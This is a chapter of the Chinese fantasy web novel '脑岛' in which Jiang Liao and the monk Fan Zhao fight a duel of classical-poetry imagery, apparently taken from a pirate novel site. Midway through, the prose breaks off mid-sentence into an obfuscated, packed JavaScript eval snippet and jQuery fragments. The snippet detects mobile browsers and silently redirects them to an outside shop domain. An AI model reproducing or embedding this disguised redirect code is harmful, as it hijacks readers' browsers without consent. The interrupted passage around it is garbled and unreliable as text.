文趣网 > 都市小说 > 脑岛 > 37.知彼
    “别试了,无用功。”

    闵九游抬起头,庙檐上正坐着个小和尚,荡着两腿发笑。

    没人回答,小和尚观察半晌委顿在荒草之中的红色,从屋檐跳到墙上,叹气道:

    “站起来,江燎,你已经不能认输了。”

    江燎也想站起来,但暂时还有些难度,他甚至都不知道自己怎么就倒下了,反唇相讥:

    “……别说得好像能认输我就会选一样!”

    樊照选择继续坐在墙上,想来也是,这身高跳进荒草丛怕是要无影无踪。

    “说实话,我真的很好奇,你到底打算为傲慢支付多少代价?”

    “傲慢?”江燎借着闵九游的胳膊站起来、靠在树干上,匪夷所思的向对方求证,“我有吗?”

    闵九游迟疑片刻,答:

    “还行。”

    “……那也到不了要支付代价的程度吧!”

    小和尚悠哉悠哉的盘起了念珠。

    “说到代价……你刚刚说我的理解有问题,是指‘器’并非只有在岛上击穿‘中枢’时才能拿得出来,而是‘随时随地都可以’吗?”江燎迅速接续思考:

    “击穿‘中枢’正确是无代价,击穿‘中枢’错误是随机失去身体部分的代价——‘随时随地都可以’的话,说明这代价,其实是能够主动支付的?”

    樊照很快就对念珠失去了兴趣,不知从哪掏出了个柿饼,在手里扔着,津津有味的看。

    江燎伸出右手,盯住掌心凝重道:

    “我支付自己现在的五厘米头发——”

    樊照正咬柿饼,笑的不行:“还强调‘现在’,怎么?是怕出岛后发现原来的身体变成秃子了吗?”

    江燎不搭理小秃子,注意力全被瞬间涌起的黑色颗粒所吸引——枭神竟然真的就这么在手中出现了!

    过去从未在击穿‘中枢’以外的时刻做过尝试,因为确实没需求、也没必要。

    江燎将自己的‘器’持在手中转了转,觉出违和。

    来倒是来了,但……此时此刻的枭神却完全和一件普通兵器无异,说的形象点就是……只来了个壳子。

    “代价不够。”闵九游言简意赅。

    江燎眼瞅着枭神在手中很快分解消失,摸着已经少了五厘米的高马尾很是不满:“五厘米的头发就只够看一眼,是不是有点太黑了?”

    “头发是你的吗?”樊照撇嘴,“那是我回光镇的功劳!你要跟我现在一个造型,还要倒欠出去五厘米。”

    江燎认真思忖了会儿,说:“可我还是不认为他当时伸手,是想要拿‘七杀’出来……”

    “真拿了怎么办。”闵九游也不反驳,只是提问。

    “还怎么办?直接打啊,打死一个少一个!”樊照幸灾乐祸,唯恐天下不乱添柴加火,“等你这好舅舅端着水过来,房子都烧没了!”

    “你怎么知道我是他舅舅?你什么时候背调的!”江燎一把抓住一堆点中不那么重的点。

    “……不聊了,这次回溯咱们玩点别的!”樊照拍拍衣服,麻利从墙上站起:

    “我分一半权限给你,用名家诗句拼意象怎么样?接招时必须包含对方句子里、一个重要的字——最后猜猜我究竟把你外甥藏在了哪个意象里,很有趣吧!”

    “这没头没尾的不好猜,你再让一步。”江燎闻言顿时来了兴致,眼珠一转,讨价还价。

    “……你天天在我这儿买菜呢!我白送你得了?”樊照勉强平衡难度说:

    “那我让他先知道谜底,再允许他给你留一个字做提示如何?但我不会直接告诉你留的是哪个字,只会把这个字混在我用的诗句里——不能再多让了!”

    “这还差不多……”江燎丝毫不慌,淡定与闵九游对视,后者点了两下头,江燎同样回应,没有异议。

    樊照哪会那么大方还留交流时间给两人,一挥手就隐去了闵九游,再挥手、手中便出现了一只纯金色的毛笔。

    江燎下意识看向自己的紫毫笔,却发现它不知何时已经变成了纯黑色,沉淀出吸尽光华的色泽,合心意的很,便笑着掂起笔来应战——

    樊照也笑了,振袖而立,用着小和尚的皮囊,却意气风发如出鞘利剑。

    “来了!我的第一句意象——‘山寺钟鸣昼已昏’!”

    话音刚落,金色的笔尖便有金色颗粒疾速溢散,凭空组出了七个巨大金字,与此同时,寺庙拔地而起、庙中不知沉寂了多少岁月的铜钟竟也嗡然作响,发出了来自远古洪荒的叹息!

    整片土地震颤起来,余音久久回荡!

    钟声越来越大,空气被挤压发出悲鸣,再不接招怕是会被就这么直接震去幽冥,江燎只觉周身血液翻腾,甩出笔尖,在嗡响中提声朗道:

    “‘青海长云暗雪山’!暗掉你的‘山’!”

    新形成的七个黑字闪电般蹿出,势不可挡的击碎了樊照的金字!

    脚下的地面顿时裂开,露出宽广青海面,云海奔涌而来,以不可阻挡的气势冻结并吞没了樊照被雪覆盖的山寺,钟声在云絮间艰难穿行、垂死挣扎,终究还是被云浪吞没,彻底归于死寂!

    两人在无尽白云间下落向浩渺碧波,水汽扑面而来,樊照被狂风灌满衣袍,在失重中不掩神采飞扬:

    “‘水尽南天不见云’!怎么样江燎!不会游泳你可要倒大霉了!”

    整个空间如同被捅漏了个大窟窿,天河倒灌,盘踞的浓云在激荡的水流中节节败退、化为乌有!

    江燎在簌簌粉碎的黑色颗粒笼罩下跌进水中,呛咳一声、大串气泡从口中溢出,被浸湿的烈烈红衣沉重异常,直拉着他向下沉去!

    江燎清楚知道此时的自己正拥有着整个空间的一半权限,根本就没那么容易被活活淹死,他拼尽全力撕扯回心神,挣脱痛苦的感官假相、狠狠予以回击!

    “……‘凉风雁啼天在水’!”

    凝实的黑字托住他不断下沉的身体,天空以他为中心暴起扩张,液体不甘的退去,失地随即又被天空占领,江燎乘风而起,雁鸣声中,同样湿透的樊照无处落脚,空中跌落!

    樊照张开双手,笑声在呼啸中破碎,金色颗粒开始汇成星光!

    “‘天河夜转漂回星’——虚舟客来赴星河!”

    黑暗压熄天空的光亮,可这湮灭的黑反而成就了绝佳的画布——每一粒光芒都在吟唱交响

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17573096|202967||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,星光璀璨汇聚成了流淌的银河!

    脱离引力的身体漂浮在宇宙之中,江燎的眼眸被宏大景色点燃,他肆意扬起嘴角,将黑笔直指下方星河中央正望着他的樊照:

    “樊照,你我皆是虚舟客,就大哥别笑二哥了——‘满船清梦压星河’!”

    纯白的载梦之船从现实和梦境的缝隙中硬生生挤入了漫天星河中,银河沸腾起来!满载的梦境坠的整条大船不堪重负、轰然压向视野之中的绚烂宇宙!

    银河碎裂、黑暗崩塌,两人被白船接住。樊照身边有鹿欢快跑过,身姿轻盈,蹄子落在甲板上无声无息,却漾开了一圈又一圈梦呓的涟漪。

    樊照伸手想摸却穿过,不禁好笑:

    “呵、焦鹿之梦,你这难道是运了一船的小鹿吗?那我可就不客气了——‘醉把金船掷’!”

    大船刹那倾覆,江燎从上面滑落,翻天覆地的感觉自己好像掉进了酒缸,鼻腔里灌满了浓烈到化不开的酒香,什么都没喝就开始醉了,但他仍记得自己还身在战场,忽略喉管和胃部的灼烫,打了个酒嗝:

    “金……塔万、呃……‘日浴鲸波万顷金’……”

    江燎被浮出海面的鲸鱼接住,晕晕乎乎的仰面躺着,比想象中更加宽阔的鲸鱼背脊像一座黑色的岛屿,安抚了他狂跳的心脏。

    樊照只能算是微醺,稳稳落在了鲸鱼的背上。

    海风掠过连绵的褶皱,波光活了起来,像无数金色的鱼鳞正在微微翕动,樊照在鲸歌中出神的望着一望无际、波光粼粼的金:

    “江燎,这风景不错,但你的酒量也太差了,要是拼酒的话、我可早就赢了——‘玉杯金液耀金波’,小趴菜可还行?”

    凝聚了月华幻影与深海寒髓的玉杯破海而出,声势浩大的一杯直接装下了全部金色,鲸鱼受困杯中,无助的被金色波浪逐渐溶化!

    “再传奇又怎样?最后不也都下酒在了后人的杯中?”

    樊照哼笑一声,拽住开始清醒的江燎趴在自己的金字上,好整以暇啧道:

    “不行了?就你现在这状态还猜得出谜底吗?”

    “……为什么猜不出?”江燎翻身撑着自己坐起,开始絮絮抱怨,声音谁来听都像梦话:

    “……又是水又是酒的,哪不行你来哪……章路说的一点不错,你这个家伙是真没武德,瘸子两条腿哪个都不放过……我可比你有风度多了,猜出来了还在这儿陪你瞎折腾……”

    “哦?谜底是哪个意象?我听听?”

    “听好了,‘杯中动有光’——这就是我的答案。”

    庞大的足以盛起海水的玉杯,在晃动的水面中倒映出了同样庞大的一个字——

    ——光。

    回光。

    “没想到吧,那两次点头就是我俩的暗号,暗号的特征为“双”,无论你的谜底是什么,他都会想办法用“双”的特征把答案传达给我——

    所以他留给我的提示字就是‘回’,你还真是没舍得不用这个字啊,还以为会更难呢!藏着他的意象是第一个、回光镇敲响钟声的寺庙!”

    江燎灿然一笑,明亮的眼中快活的容得下世间万象:

    “我赢了!”